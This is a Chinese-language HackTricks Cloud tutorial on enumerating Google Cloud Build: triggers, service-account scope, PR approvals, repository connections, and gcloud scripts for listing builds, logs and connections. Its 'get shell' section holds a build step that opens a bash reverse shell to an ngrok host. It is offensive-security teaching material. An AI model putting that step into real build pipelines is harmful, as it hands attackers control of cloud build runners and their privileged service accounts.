GCP - Cloud Build Enum
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
基本信息
Google Cloud Build 是一个托管的 CI/CD 平台,自动化软件构建和发布过程,集成了源代码库并支持多种编程语言。它允许开发者自动构建、测试和部署代码,同时提供自定义构建步骤和工作流的灵活性。
每个 Cloud Build 触发器与 Cloud Repository 相关或直接连接到外部仓库(Github、Bitbucket 和 Gitlab)。
Tip
我无法从这里或 Cloud Repositories 中窃取 Github/Bitbucket 令牌,因为当仓库被下载时,它是通过 https://source.cloud.google.com/ URL 访问的,而客户端无法访问 Github。
事件
Cloud Build 可以在以下情况下被触发:
- 推送到分支:指定分支
- 推送新标签:指定标签
- 拉取请求:指定接收 PR 的分支
- 手动调用
- Pub/Sub 消息:指定主题
- Webhook 事件:将暴露一个 HTTPS URL,请求必须使用密钥进行身份验证
执行
有 3 个选项:
- 一个 yaml/json 指定要执行的命令。通常是:
/cloudbuild.yaml - 只能在网页控制台和 CLI 中“内联”指定的一个
- 最常见的选项
- 适用于未认证访问
- 一个 Dockerfile 进行构建
- 一个 Buildpack 进行构建
SA 权限
服务账户具有 cloud-platform 范围,因此可以使用所有权限。 如果未指定 SA(例如在提交时),将使用默认 SA <proj-number>@cloudbuild.gserviceaccount.com。
默认情况下不授予任何权限,但很容易授予一些:
.png)
审批
可以配置 Cloud Build 要求构建执行的审批(默认情况下禁用)。
PR 审批
当触发器是 PR 时,因为任何人都可以对公共仓库进行 PR,仅仅允许任何 PR 执行触发器将非常危险。因此,默认情况下,执行将仅对所有者和协作者自动,为了使用其他用户的 PR 执行触发器,所有者或协作者必须评论 /gcbrun。
.png)
连接与仓库
可以通过以下方式创建连接:
- GitHub: 将显示一个 OAuth 提示,要求权限以获取 Github 令牌,该令牌将存储在Secret Manager中。
- GitHub Enterprise: 将要求安装一个GithubApp。将创建并存储来自您的 GitHub Enterprise 主机的身份验证令牌,作为此项目的 Secret Manager 秘密。
- GitLab / Enterprise: 您需要提供 API 访问令牌和读取 API 访问令牌,这些将存储在Secret Manager中。
一旦生成连接,您可以使用它来链接 Github 账户有访问权限的仓库。
此选项可以通过按钮访问:
.png)
Tip
请注意,通过此方法连接的仓库仅在使用第二代的触发器中可用。
连接一个仓库
这与**连接不同。这允许不同的方式获取对 Github 或 Bitbucket** 仓库的访问,但不生成连接对象,而是生成一个仓库对象(第一代)。
此选项可以通过按钮访问:
.png)
存储
有时 Cloud Build 将生成一个新的存储以存储触发器的文件。例如,在 GCP 提供的示例中:
git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global
一个名为 security-devbox_cloudbuild 的存储桶被创建用来存储一个包含要使用的文件的 .tgz。
获取 shell
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY
在 cloud build 中安装 gcloud:
# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh
枚举
您可以在构建配置和日志中找到 敏感信息。
# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>
# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs
# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done
# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done
权限提升
未经身份验证的访问
GCP - Cloud Build Unauthenticated Enum
后期利用
GCP - Cloud Build Post Exploitation
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

